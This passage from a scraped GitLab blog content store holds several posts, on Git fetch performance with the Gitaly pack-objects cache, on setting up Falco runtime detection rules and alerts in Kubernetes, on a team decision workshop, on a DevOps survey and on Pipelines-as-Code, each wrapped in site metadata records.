this blog post and linked pages are subject to change and delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc._\n",[4103,6962,1444],{"slug":15673,"featured":6,"template":678},"introducing-modelops-to-solve-data-science-challenges","content:en-us:blog:introducing-modelops-to-solve-data-science-challenges.yml","Introducing Modelops To Solve Data Science Challenges","en-us/blog/introducing-modelops-to-solve-data-science-challenges.yml","en-us/blog/introducing-modelops-to-solve-data-science-challenges",{"_path":15679,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15680,"content":15685,"config":15690,"_id":15692,"_type":16,"title":15693,"_source":17,"_file":15694,"_stem":15695,"_extension":20},"/en-us/blog/git-fetch-performance",{"title":15681,"description":15682,"ogTitle":15681,"ogDescription":15682,"noIndex":6,"ogImage":12013,"ogUrl":15683,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15683,"schema":15684},"How we made Git fetch performance improvements in 2021, part 1","Our Scalability team tackled a server CPU utilization issue. Here's the first part of a detailed look at performance improvements we made for Git fetch.","https://about.gitlab.com/blog/git-fetch-performance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we made Git fetch performance improvements in 2021, part 1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2022-01-20\",\n      }",{"title":15681,"description":15682,"authors":15686,"heroImage":12013,"date":15687,"body":15688,"category":734,"tags":15689},[15467],"2022-01-20","\nIn this post we look back on a series of projects from the Scalability\nteam that improved GitLab server-side efficiency for serving Git fetch\ntraffic. In the benchmark described below we saw a 9x reduction in\nGitLab server CPU utilization. Most of the performance comes from the\nGitaly pack-objects cache, which has proven very effective at reducing\nthe Gitaly server load caused by highly concurrent CI pipelines.\n\nThese changes are not user-visible but they benefit the stability and\navailability of GitLab.com. If you manage a GitLab instance\nyourself you may want to [enable the pack-objects\ncache](https://docs.gitlab.com/ee/administration/gitaly/configure_gitaly.html#pack-objects-cache)\non your instance too.\n\nWe discuss how we achieved these improvements in [part 2](/blog/git-fetch-performance-2021-part-2/).\n\n## Background\n\nWithin the GitLab application, Gitaly is the component that acts as a\nremote procedure call (RPC) server for Git repositories. On\nGitLab.com, repositories are stored on persistent disks attached to\ndedicated Gitaly servers, and the rest of the application accesses\nrepositories by making RPC calls to Gitaly.\n\nIn 2020 we encountered several incidents on GitLab.com caused by the fact that\nour Gitaly server infrastructure [could not\nhandle](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/3013)\nthe Git fetch traffic generated by CI on our own main repository,\n[`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab). The only reason the situation at the time worked\nwas because we had a custom CI caching solution for\n`gitlab-org/gitlab` only, commonly referred to as the \"CI pre-clone\nscript\".\n\n### The CI pre-clone script\n\nThe CI pre-clone script was an implementation of the [clone bundle CI\nfetching\nstrategy](https://www.kernel.org/best-way-to-do-linux-clones-for-your-ci.html).\nWe had originally set up the CI pre-clone script one year earlier, in\n[December 2019](https://gitlab.com/gitlab-org/gitlab/-/issues/39134).\nIt consisted of two parts.\n\n1.   A CI cron job that would clone `gitlab-org/gitlab`, pack up the\n   result into a tarball, and upload it to a known Google Cloud\n   Storage bucket.\n1.   A shell script snippet, stored in the `gitlab-org/gitlab` project settings, that was\n   injected into each `gitlab-org/gitlab` CI job. This shell script\n   would download and extract the latest tarball from the known URL.\n   After that the CI job did an incremental Git fetch, relative to the\n   tarball contents, to retrieve the actual CI pipeline commit.\n\nThis system was very effective. Our CI pipelines run against shallow\nGit clones of `gitlab-org/gitlab`, which require over 100MB of data to\nbe transfered per CI job. Because of the CI pre-clone script, the\namount of Git data per job was closer to 1MB. The rest of the data was\nalready there because of the tarball. The amount of repository data\ndownloaded by each CI job stayed the same, but only 1% of this data\nhad to come from a Gitaly server. This saved a lot of computation and\nbandwidth on the Gitaly server hosting `gitlab-org/gitlab`.\n\nAlthough this solution worked well, it had a number of downsides.\n\n1.   It was not part of the application and required per-project manual\n   set-up and maintenance.\n1.   It did not work for forks of `gitlab-org/gitlab`.\n1.   It had to be maintained in two places: the project that created the\n   tarball and the project settings of `gitlab-org/gitlab`.\n1.   We had no version control for the download script; this was just\n   text stored in the project's CI settings.\n1.   The download script was fragile. We had one case where we added an\n   `exit` statement in the wrong place, and all `gitlab-org/gitlab`\n   builds started silently using stale checkouts left behind by other\n   pipelines.\n1.   In case of a Google Cloud Storage outage, the full uncached traffic\n   would saturate the Gitaly server hosting `gitlab-org/gitlab`. Such\n   outages are rare but they do happen.\n1.   A user who would want to copy our solution would have to set up\n   their own Google Cloud Storage bucket and pay the bills for it.\n\nThe biggest issue really was that one year on, the CI pre-clone script\nhad not evolved from a custom one-off solution into an easy to use\nfeature for everyone.\n\nWe solved this problem by building the pack-objects cache, which we\nwill describe in more detail in the next blog post. Unlike the CI pre-clone script,\nwhich was a separate component, the pack-objects cache sits inside\nGitaly. It is always on, for all repositories and all users on\nGitLab.com. If you run your own GitLab server you can also use the\npack-objects cache, but you do have to [turn it on\nfirst](https://docs.gitlab.com/ee/administration/gitaly/configure_gitaly.html#pack-objects-cache).\n\n## Performance comparison\n\nTo illustrate what has changed we have created a benchmark. We set up a GitLab\nserver with a clone of `gitlab-org/gitlab` on it, and we configured a\nclient machine to perform 20 simultaneous shallow clones of the same commit using Git HTTP.[^ssh] This\nsimulates having a CI pipeline with 20 parallel jobs. The pack data is\nabout 87MB so in terms of bandwidth, we are transferring `20 * 87 =\n1740MB` of data.\n\n[^ssh]: As of GitLab 14.6, Git HTTP is 3x more CPU-efficient on the server than Git SSH. We are working on [improving the efficiency of Git SSH in GitLab](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/652). We prioritized optimizing Git HTTP because that is what GitLab CI uses.\n\nWe did this experiment with two GitLab servers. Both were Google\nCompute Engine `c2-standard-8` virtual machines with 8 CPU cores and\n32GB RAM. The operating system was Ubuntu 20.04 and we installed\nGitLab using our Omnibus packages.\n\n### Before\n\n- GitLab FOSS 13.7.9 (released December 2020)\n- Default Omnibus configuration\n\nThe 30-second [Perf flamegraph](https://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) below was captured at 99Hz across all CPU's.\n\n![Flamegraph of GitLab 13.7 performance](https://about.gitlab.com/images/blogimages/git-fetch-2021/before.jpg)\n\nSource: [SVG](/images/blogimages/git-fetch-2021/before.svg)\n\n### After\n\n- GitLab FOSS 14.6.1 (released December 2021)\n- One extra setting in `/etc/gitlab/gitlab.rb`:\n\n```ruby\ngitaly['pack_objects_cache_enabled'] = true\n```\n\n![Flamegraph of GitLab 14.6 performance with\ncache](https://about.gitlab.com/images/blogimages/git-fetch-2021/after.jpg)\n\nSource: [SVG](/images/blogimages/git-fetch-2021/after.svg)\n\n### Analysis\n\nServer CPU profile distribution:\n\n|Value|Before|After\n|---|---|---|\n|Benchmark run time|27s|7.5s|\n|`git` profile samples|18 552|923|\n|`gitaly` samples (Git RPC server process)|1 247|331|\n|`gitaly-hooks` samples (pack-objects cache client)||258|\n|`gitlab-workhorse` samples (application HTTP frontend)|1 057|237|\n|`nginx` samples (main HTTP frontend)|474|251|\n|Total CPU busy samples|21 720|2 328|\n|CPU utilization during benchmark|100%|40%|\n\n### Conclusion\n\nCompared to GitLab 13.6 (December 2020), GitLab 14.6 (December 2021) plus the\npack-objects cache makes the CI fetch benchmark in this post run 3.6x faster.\nAverage server CPU utilization during the benchmark dropped from 100%\nto 40%.\n\nStay tuned for part 2 of this blog post, in which we will go over the\nchanges we made to make this happen.\n\n## Related content\n\n- [Gitaly pack-objects cache documentation](https://docs.gitlab.com/ee/administration/gitaly/configure_gitaly.html#pack-objects-cache)\n- [Epic to improve Git SSH efficiency in GitLab](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/652)\n",[1067,6962,1268],{"slug":15691,"featured":6,"template":678},"git-fetch-performance","content:en-us:blog:git-fetch-performance.yml","Git Fetch Performance","en-us/blog/git-fetch-performance.yml","en-us/blog/git-fetch-performance",{"_path":15697,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15698,"content":15703,"config":15708,"_id":15710,"_type":16,"title":15711,"_source":17,"_file":15712,"_stem":15713,"_extension":20},"/en-us/blog/securing-the-container-host-with-falco",{"title":15699,"description":15700,"ogTitle":15699,"ogDescription":15700,"noIndex":6,"ogImage":14571,"ogUrl":15701,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15701,"schema":15702},"Detecting container host anomalies with GitLab and Falco","Learn how to install and use Falco to detect anomalies in your containers","https://about.gitlab.com/blog/securing-the-container-host-with-falco","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Detecting and alerting on anomalies in your container host with GitLab + Falco\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-01-20\",\n      }",{"title":15704,"description":15700,"authors":15705,"heroImage":14571,"date":15687,"body":15706,"category":674,"tags":15707},"Detecting and alerting on anomalies in your container host with GitLab + Falco",[1622],"\nContainer Host Security in GitLab provides intrusion detection and prevention\ncapabilities that can monitor and (optionally) block activity inside the containers\nthemselves.\n\nIn this blog post, we will go over the basic concepts of Container Host\nSecurity. We will then use GitLab-Managed Apps to deploy Falco into our\nKubernetes Cluster using the GitLab CI/CD pipeline.\n\nAfter that, we will set up Falco rules, examining when those\nrules have been broken, and create alerts. Falco Logs and Alerts will\nprovide us an insight to potential malious behavior occuring in our\ninfrastructure.\n\nI created the [Initech Infrastrucute](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure)\nproject to showcase all the different integrations with Kubernetes. Feel free to\nclone it for this guide.\n\n## What is Container Host Security?\n\nContainer Host Security refers to the ability to detect, report, and respond\nto attacks on containerized infrastructure and workloads. For Container Host\nSecurity, GitLab relies on Falco. Falco is a cloud native, easy-to-use security\ntool for detecting runtime threats within Kubernetes containers.\n\nFalco uses system calls to monitor the system by:\n\n- parsing the Linux system calls from the kernel at runtime\n- asserting the stream against a powerful rules engine\n- alerting when a rule is violated\n\nFalco has a whole set of built-in rules that check the kernel for unusual\nbehaviors. New rules can be added to further secure our infrastructure as\nneeded. Whenever these rules are asserted, Falco can send alerts in many\ndifferent ways and be integrated with different tools, such as email and\nSlack.\n\n## Installing Falco on GitLab\n\nInstalling Falco as a GitLab-Managed application is quite simple. We first need to make sure that we integrate a Kubernetes cluster into our application.\nThis is done via the [Kubernetes Agent](https://docs.gitlab.com/ee/user/clusters/agent/).\n\nBefore continuing, make sure you [create a new project](https://docs.gitlab.com/ee/user/project/working_with_projects.html#create-a-project) and integrate the [Kubernetes Agent](https://docs.gitlab.com/ee/user/clusters/agent/) into your project. This [blog](/blog/setting-up-the-k-agent/) provides information on installing the agent or you can check out the [official documentation](https://docs.gitlab.com/ee/user/clusters/agent/install/index.html).\n\nOnce you've integrated a Kubernetes cluster to your project, you can install\nFalco with the following steps:\n\n1. Create **applications** folder in root\n\n2. Create **falco** directory in **applications** folder\n\n3. Create a **helmfile.yaml** in the **falco** folder and add the following contents:\n\n```\nrepositories:\n- name: falcosecurity-charts\n  url: https://falcosecurity.github.io/charts/\n\nreleases:\n- name: falco\n  namespace: gitlab-managed-apps\n  chart: falcosecurity-charts/falco\n  version: 1.1.8\n  installed: true\n  values:\n    - values.yaml\n```\n\n4.  Create a **values.yaml** in the **falco** folder and add the following contents:\n\n```\nfalco:\n  file_output:\n    enabled: true\n    keep_alive: false\n```\n\nHere is some [sample code](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure/-/blob/main/applications/falco/values.yaml).\n\n5. Create **helmfile.yaml** in the root directory, adding the following:\n\n```\nhelmDefaults:\n  atomic: true\n  wait: true\n\nhelmfiles:\n    - path: applications/falco/helmfile.yaml\n```\n\nHere is some [sample code](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure/-/blob/main/helmfile.yaml).\n\n6. In **.gitlab-ci.yaml**, add the following:\n\n```\napply:\n  stage: deploy\n  image: \"registry.gitlab.com/gitlab-org/cluster-integration/cluster-applications:v1.1.0\"\n  environment:\n    name: staging\n  script:\n    - gl-ensure-namespace gitlab-managed-apps\n    - gl-helmfile --file $CI_PROJECT_DIR/helmfile.yaml apply --suppress-secrets\n```\n\nHere is some [sample code](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure/-/blob/main/.gitlab-ci.yml).\n\n7. Commit to master\n\n8. Go back to the main project page\n\n9. Verify Pipeline is running and click on the pipeline icon\n\n![](https://about.gitlab.com/images/blogimages/falco_pipeline.png)\n\n10. Click on the **apply** job and wait for it to complete\n\n11. Verify the job was successful\n\nOnce these steps are complete, you will have Falco running on the\n**gitlab-managed-apps** namespace, monitoring the whole cluster for\nmalicious behavior.\n\n## Adding a custom rule\n\nFalco can be configured to log/report on custom system actions. For example, we may want to know when a new file or directory is created\nwithin our container host, since this may not be something our application does.\n\nTo add a custom rule, we add a directory and file in **/applications/falco/values.yaml** where we can add rules within the **customRules** key as follows:\n\n```\ncustomRules:\n  file-integrity.yaml: |-\n    - rule: Detect New File\n      desc: detect new file created\n      condition: >\n        evt.type = chmod or evt.type = fchmod\n      output: >\n        File below a known directory opened for writing (user=%user.name\n        command=%proc.cmdline file=%fd.name parent=%proc.pname pcmdline=%proc.pcmdline gparent=%proc.aname[2])\n      priority: ERROR\n      tags: [filesystem]\n    - rule: Detect New Directory\n      desc: detect new directory created\n      condition: >\n        mkdir\n      output: >\n        File below a known directory opened for writing (user=%user.name\n        command=%proc.cmdline file=%fd.name parent=%proc.pname pcmdline=%proc.pcmdline gparent=%proc.aname[2])\n      priority: ERROR\n      tags: [filesystem]\n```\n\n**Note:** Multiple Yamls can be added with multiple custom rules.\n\nFor more information on creating custom Falco rules, see the\n[rules documentation](https://falco.org/docs/rules/).\n\n## Testing a rule\n\nTo verify the rule works, we can look at the Falco logs within the falco pods in our cluster. This can be done by running the following\ncommand on your cluster.\n\n```\n$ kubectl -n gitlab-managed-apps logs -l app=falco\n```\n\nThis command will spit out logs of all the custom\nrules that were broken as well as the default rules.\n\n## Creating alerts\n\nAlerts will send a message anytime a rule is broken.\n\nFalco can send alerts to one or more channels:\n\n- Standard Output\n- A file\n- Syslog\n- A spawned program\n- An HTTP[S] end point\n- A client via the gRPC API\n\nTo create an alert, we can apply a new key to the falco [values.yaml](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure/-/blob/main/applications/falco/values.yaml):\n\n```\nfalco:\n  jsonOutput: true\n```\n\nThis prints an alert line for each violated rule to syslog (in json) as follows:\n\n```\n{\n  \"output\": \"2022-01-06T22:26:10.067069449+0000: Warning Shell history had been deleted or renamed (user=root user_loginuid=-1 type=open command=bash fd.name=/root/.bash_history name=/root/.bash_history path=\u003CNA> oldpath=\u003CNA> k8s.ns=default k8s.pod=yeet container=b736fee4fe8d) k8s.ns=default k8s.pod=yeet container=b736fee4fe8d k8s.ns=default k8s.pod=yeet container=b736fee4fe8d k8s.ns=default k8s.pod=yeet container=b736fee4fe8d\",\n  \"priority\": \"Warning\",\n  \"rule\": \"Delete or rename shell history\",\n  \"source\": \"syscall\",\n  \"tags\": [\n    \"mitre_defense_evasion\",\n    \"process\"\n  ],\n  \"time\": \"2022-01-06T22:26:10.067069449Z\",\n  \"output_fields\": {\n    \"container.id\": \"b736fee4fe8d\",\n    \"evt.arg.name\": \"/root/.bash_history\",\n    \"evt.arg.oldpath\": null,\n    \"evt.arg.path\": null,\n    \"evt.time.iso8601\": 1641507970067069400,\n    \"evt.type\": \"open\",\n    \"fd.name\": \"/root/.bash_history\",\n    \"k8s.ns.name\": \"default\",\n    \"k8s.pod.name\": \"yeet\",\n    \"proc.cmdline\": \"bash\",\n    \"user.loginuid\": -1,\n    \"user.name\": \"root\"\n  }\n}\n```\n\nWhich shows that I opened a terminal on a pod running within my cluster and closed it.\n\n[Falco Alerts Documentation](https://falco.org/docs/alerts/) contains more\ninformation on the types of alerts you can configure and how. This includes:\n\n- File Output\n- Standard Output \n- Program Output\n- HTTP[S] Output\n- SysLog Output\n- gRPC Output\n\n## Roadmap\n\nWithin the [Protect Roadmap](https://about.gitlab.com/direction/govern/), we\ncan see the plans for the future of Container Host Security.\n\nThe roadmap contains the following Container Host Security enhancements\nwithin the next 12 months:\n\n- Falco Statistics\n- Export logs to SIEM\n- Policy management via UI\n- Default policy set\n",[674],{"slug":15709,"featured":6,"template":678},"securing-the-container-host-with-falco","content:en-us:blog:securing-the-container-host-with-falco.yml","Securing The Container Host With Falco","en-us/blog/securing-the-container-host-with-falco.yml","en-us/blog/securing-the-container-host-with-falco",{"_path":15715,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15716,"content":15722,"config":15729,"_id":15731,"_type":16,"title":15732,"_source":17,"_file":15733,"_stem":15734,"_extension":20},"/en-us/blog/collaboration-techniques-for-distributed-teams",{"title":15717,"description":15718,"ogTitle":15717,"ogDescription":15718,"noIndex":6,"ogImage":15719,"ogUrl":15720,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15720,"schema":15721},"Synchronous collaboration for async distributed teams","The strategic exercise supported meaningful reflection as well as alignment in setting goals.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682962/Blog/Hero%20Images/collaboration-techniques-blog-post.jpg","https://about.gitlab.com/blog/collaboration-techniques-for-distributed-teams","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How a Lightning Decision Jam helped our asynch, distributed team collaborate synchronously\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amelia Bauerly\"}],\n        \"datePublished\": \"2022-01-19\",\n      }",{"title":15723,"description":15718,"authors":15724,"heroImage":15719,"date":15726,"body":15727,"category":8943,"tags":15728},"How a Lightning Decision Jam helped our asynch, distributed team collaborate synchronously",[15725],"Amelia Bauerly","2022-01-19","\nIn a remote, asynchronous company, is there ever a time when teams need to collaborate synchronously? \n\nWe recently asked ourselves that question on the Monitor team. It had been three years since we started thinking about how to build out Incident Management as a team, and a lot had happened in that time. We’d built out a range of new features and created the broad outlines for a complete incident management workflow with GitLab. We’d achieved a lot.\n\nWe had also been through a number of changes as a team, and we had several possible paths ahead of us. It felt like an appropriate moment to step back and take stock of where we’ve been, what we’ve done, and where we still need to go. However, given our team's geographical distribution, we realized we needed to think creatively about how best to create space for reflection as a team.\n\n## Opting for a Lightning Decision Jam\n\nOutside of regularly scheduled team meetings, our team adheres to the standard GitLab practice of prioritizing [asynchronous communication](/handbook/communication/asynchronous-communication). Because our team is distributed around the world, this model usually works great for us. But, given the amount of time that had passed since we had all gathered together, this time around, we decided it might actually be nice to gather synchronously.\n\nOwing to the time zone differences we'd face, we wouldn’t have a lot of time together. We needed to find a structure that would allow us to do some reflection as a team in a limited amount of time. \n\nEnter: [Lightning Decision Jam](https://uxplanet.org/lightning-decision-jam-a-workshop-to-solve-any-problem-65bb42af41dc). \n\nA Lightning Decision Jam (LDJ) is a quick way for teams to come together to collaboratively identify problems and challenges, and then work together to ideate on solutions for those challenges – all in one hour. This format would give us space to check in with each other as a team about the work that we’ve been doing, while keeping those discussions constrained in a way that would (hopefully) respect the fact we’d all be gathering at different times in our days. \n\n## How the LDJ worked?\n\nWe hosted the session on [Zoom](https://zoom.us), and a majority of our team members were able to join the call synchronously. We met with the team members unable to join prior to the main LDJ session so they could participate as well. We also recorded the session so they could review the larger discussion afterward. We used [Mural](https://www.mural.co/) to collaborate during the session. \n\nThe session itself involved a series of time-boxed, individual brainstorming exercises, where each team member generated sticky notes in response to a prompt. Some of the brainstorming exercises included questions like:\n\n- What is moving us forward?\n- What’s gone well?\n- What are the challenges that are holding us back?\n- How might we address those challenges?\n\nAfter each person generated their sticky notes, the ideas were shared with the group. After all the ideas were shared, we used [dot voting](https://www.nngroup.com/articles/dot-voting/) to surface the ideas that had the most traction within the group. \n\n## What the LDJ taught us\n\nThere were a few things we observed as we conducted this exercise as a team. \n\nAt GitLab, we work in a monthly cadence. We have a large backlog of features to implement, and an ever-growing list of things to improve. All of these factors, taken together, can make it easy to focus on the things that aren’t yet where we'd like them to be, or that still need to be done.\n\nThat being the case, simply taking some time to reflect on what we’ve done well was a worthwhile exercise. Holistically thinking about what we’ve built over the past few years and taking a moment to pause and celebrate the things that we’d achieved as a team was a beneficial thing for us to do together. \n\nSpending time thinking about the main challenges we face as we move forward was also a useful exercise. Importantly, though, we didn't just focus on the challenges; we also spent time ideating on solutions and voting together, as a team, on which solutions seemed the most meaningful to action. These additional steps helped us to re-align and re-focus on the path ahead.\n\nOf course, we could have done some reflection on these topics outside of an in-person, synchronous session. The benefit of doing this as part of the LDJ was that we all got to spend some time together as a team, brainstorming and collaborating in real-time. Especially now, due to the global circumstances and the pandemic more generally, being able to see, hear, and spend time with each other has a certain intrinsic value, especially in terms of team cohesion. Furthermore, the strict structures of the LDJ meant that we could spend some time discussing these topics in a focused way. While we didn’t get to discuss everything as thoroughly as we would have liked, it at least gave us space and the opportunity to start the conversation.\n\n## What’s next? \n\nThe result of the LDJ was a set of GitLab issues that outline the opportunities we identified. These issues already have ideas attached to them that have been vetted by the team, so they are immediately actionable. The hope is that we can start experimenting with the ideas we've generated in upcoming milestones, and that these ideas will help us address our larger goal of increasing the number of people using our features.\n\nWe also conducted an asynchronous [plus-delta exercise](https://www.lucidmeetings.com/glossary/plus-delta) to identify opportunities for improving similar sessions in the future. In particular, there was interest in conducting the entire LDJ asynchronously, so everyone can participate at their leisure, perhaps having team members spend 5-10 minutes on five consecutive days to complete all of the exercises independently. This may also give people the room to reflect on the questions more deeply than we can do in a live, in-person session.\n\nMy hope, though, is that this is just the first of these kinds of collaborative workshops that we can do as a team. Experimenting with different ways of thinking about problems, and different ways of interacting, should help keep us feeling aligned and engaged with the path ahead. It also gives everyone a chance to have a voice in what we do, which, for me, may well be the most important thing.\n\nCover image by [MaxBender](https://unsplash.com/photos/iF5odYWB_nQ) on [Unsplash](https://unsplash.com)\n",[2248,2368,3798],{"slug":15730,"featured":6,"template":678},"collaboration-techniques-for-distributed-teams","content:en-us:blog:collaboration-techniques-for-distributed-teams.yml","Collaboration Techniques For Distributed Teams","en-us/blog/collaboration-techniques-for-distributed-teams.yml","en-us/blog/collaboration-techniques-for-distributed-teams",{"_path":15736,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15737,"content":15742,"config":15746,"_id":15748,"_type":16,"title":15749,"_source":17,"_file":15750,"_stem":15751,"_extension":20},"/en-us/blog/what-will-devops-do-for-your-team-in-2022",{"title":15738,"description":15739,"ogTitle":15738,"ogDescription":15739,"noIndex":6,"ogImage":14439,"ogUrl":15740,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15740,"schema":15741},"What will DevOps do for your team in 2022?","DevOps brings the technical wins but business is winning too, thanks to this modern software development strategy. Here's what our latest DevOps assessment found.","https://about.gitlab.com/blog/what-will-devops-do-for-your-team-in-2022","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What will DevOps do for your team in 2022?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-01-19\",\n      }",{"title":15738,"description":15739,"authors":15743,"heroImage":14439,"date":15726,"body":15744,"category":962,"tags":15745},[11618],"\n\nOver the last six months, we’ve asked teams and individual contributors to assess their DevOps platform practices by answering a 20-question quiz. To date, more than 600 people have shared their experiences, providing a clear, and somewhat surprising, snapshot of DevOps as it’s done _today_. There are obvious technical wins, of course, but there are also glimpses of how DevOps and modern software development are driving business change. \n\nHere are some of the key takeaways:\n\n### DevOps is a stand up (and out) choice\t\n\nAlmost 35% of respondents say they’ve been doing DevOps for between one and three years, while 22% report they’ve been at DevOps less than a year. And 16% are in that DevOps sweet spot of between three and five years, while 15% are seasoned DevOps pros with more than five years of experience. \n\nDevOps, of course, enables faster and safer software development and it’s clearly taking teams and entire organizations along for the ride, with much greater levels of collaboration/planning and a commitment to cross-functional processes. Nearly one-quarter of respondents say everyone in their organization considers themselves to be part of the DevOps team. And 17% say security, test, and design have joined dev and ops to create their DevOps teams. \n\nBig changes are happening within those teams as well. Just shy of 30% say the traditional roles of “dev” and “ops” are definitely blurring and 16% report everyone on their team is “cross-functional”. Nearly 15% say dev, sec, ops, and test are all seeing roles change and blend together.\n\nWhen asked how teams handle planning and collaboration, 50% say their processes were either “long-established and effective” or “completely seamless and baked into everything.” Meanwhile, 43% are either just starting a planning/collaboration process or are well underway. \n\nTo put it another way, it appears DevOps drives faster releases *and* better planning and collaboration almost in equal measure. \n\n### A DevOps platform in 2022\n\nJust shy of 36% of quiz takers use an “out of the box” [DevOps platform](/solutions/devops-platform/), while only 7% are considering one. Nearly one-third of respondents say their DevOps platform is a “hybrid” affair of homegrown and purchased solutions, or what GitLab refers to as [DIY DevOps](/blog/welcome-to-the-devops-platform-era/#phase-3",[4103,2368,267],{"slug":15747,"featured":6,"template":678},"what-will-devops-do-for-your-team-in-2022","content:en-us:blog:what-will-devops-do-for-your-team-in-2022.yml","What Will Devops Do For Your Team In 2022","en-us/blog/what-will-devops-do-for-your-team-in-2022.yml","en-us/blog/what-will-devops-do-for-your-team-in-2022",{"_path":15753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15754,"content":15759,"config":15765,"_id":15767,"_type":16,"title":15768,"_source":17,"_file":15769,"_stem":15770,"_extension":20},"/en-us/blog/pipelines-as-code",{"title":15755,"description":15756,"ogTitle":15755,"ogDescription":15756,"noIndex":6,"ogImage":12013,"ogUrl":15757,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15757,"schema":15758},"Pipelines-as-Code: How to improve speed from idea to production","Pipelines-as-Code streamline automatic building, testing, and deploying of applications using prebuilt pipelines and infrastructure components. Here's how it works.","https://about.gitlab.com/blog/pipelines-as-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pipelines-as-Code: How to improve speed from idea to production\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Robert Williams\"}],\n        \"datePublished\": \"2022-01-18\",\n      }",{"title":15755,"description":15756,"authors":15760,"heroImage":12013,"date":15762,"body":15763,"category":734,"tags":15764},[15761],"Robert Williams","2022-01-18","\nToday’s DevOps platform-centric world is moving steadily towards an \"Everything-as-Code\" mentality. Add in cloud native, and it's clearly even more important to standardize how you define your DevOps processes.\n\n## Why ‘as-Code’?\n\nThanks to faster iteration, cloud native computing, and [microservices-based architectures]\n(https://about.gitlab.com/topics/microservices/), as-Code technologies have become the de-facto standard for a lot of different parts of the software development lifecycle. \n\nThe need to release faster requires a single spot for teams to collaborate on any kind of change – code, infrastructure, configuration, networking, or testing. And to implement that change quickly we need to be able to see and review it before it goes into production. \n\nAs-Code solutions are at the core of cloud native technologies such as Kubernetes, where you utilize YAML or JSON formats to configure and manage. Here are the key advantages of 'as-Code':\n\n- auditability\n- scalability\n- efficiency\n- collaboration\n\nThese benefits come into play with every piece of technology that moves into as-Code; we have seen it time and again as DevOps processes mature and we automate each piece of the software development lifecycle. Here are the critical 'as-Code' stages: \n\n### Build-as-Code\n\nOne of the first steps when building a new pipeline is to implement a way to build your application automatically. Containerization is one of the most common ways: You define your build steps as a Dockerfile and then you have automated the build of the application.\n\n### Test-as-Code\n\nAs our deployment frequency and team size scales, the need for test cases to be automated scales as well. So we automate, we write unit tests and test scripts to execute unit tests, and then we ensure the changes can be continuously integrated safely, without introducing unplanned bugs.\n\n### Security-as-Code\n\nTo ensure software gets to market quickly, security must be included in your testing process. The testing has to happen either through tools integrated with each individual project, or implemented as code, creating job templates for security scanners that can be ingested by projects as required. These steps enable teams to quickly become compliant with various security frameworks (like PCI-DSS, HIPAA,,or ISO) as they become relevant for the project.\n\n### Deployment-as-Code\n\nDeployments need to be standardized so they are predictable every time. To ensure successful peer review, production and development environment deployments need to be the same, and there's an added bonus of a quality gate between them. Through scripting and implementation of Deployment-as-Code, we end up with the ability to continuously deploy code and continuously deliver value.\n\n## Why Pipelines-as-Code?\n\nPipelines are the center of the CI/CD workflow – they're the automation heart that powers all of the benefits of as-Code technologies. Once you have the Build-as-Code, Test-as-Code, Deployment-as-Code, Infrastructure-as-Code, and Configuration-as-Code, you have all the parts needed to ensure that you can reliably and predictably take your application into production environments. But, to move changes in with agility, you need to take all those parts and string them together into a pipeline.\n\nThe technology behind Pipelines-as-Code makes it possible to create centralized repositories for your organization's pipelines. Pipelines-as-Code can be set up to fit all boxes for varied languages and use cases (like [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/)) or with a [number of options](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates) so that developers can pick base pipelines to fit their use case. It's important to have a baseline that conforms to the organization's standards because that always increases the speed to production.\n\nThe entire team can collaborate on changes to each part of the workflow. Version history can be easily maintained in the same version control system as everything else that touches the DevOps lifecycle.\n\nThe benefits of as-Code technology reach a pinnacle with Pipelines-as-Code, so teams gain increases in efficiency, scalability, auditability, and collaboration. Pipelines-as-Code are at the center of automated GitOps, DevOps, and SecOps workflows.\n",[790,3949,4103],{"slug":15766,"featured":6,"template":678},"pipelines-as-code","content:en-us:blog:pipelines-as-code.yml","Pipelines As Code","en-us/blog/pipelines-as-code.yml","en-us/blog/pipelines-as-code",{"_path":15772,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15773,"content":15778,"config":15783,"_id":15785,"_type":16,"title":15786,"_source":17,"_file":15787,"_stem":15788,"_extension":20},"/en-us/blog/gitlab-com-container-registry-cdn-change",{"title":15774,"description":15775,"ogTitle":15774,"ogDescription":15775,"noIndex":6,"ogImage":11576,"ogUrl":15776,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15776,"schema":15777},"GitLab.com Container Registry to use Google Cloud 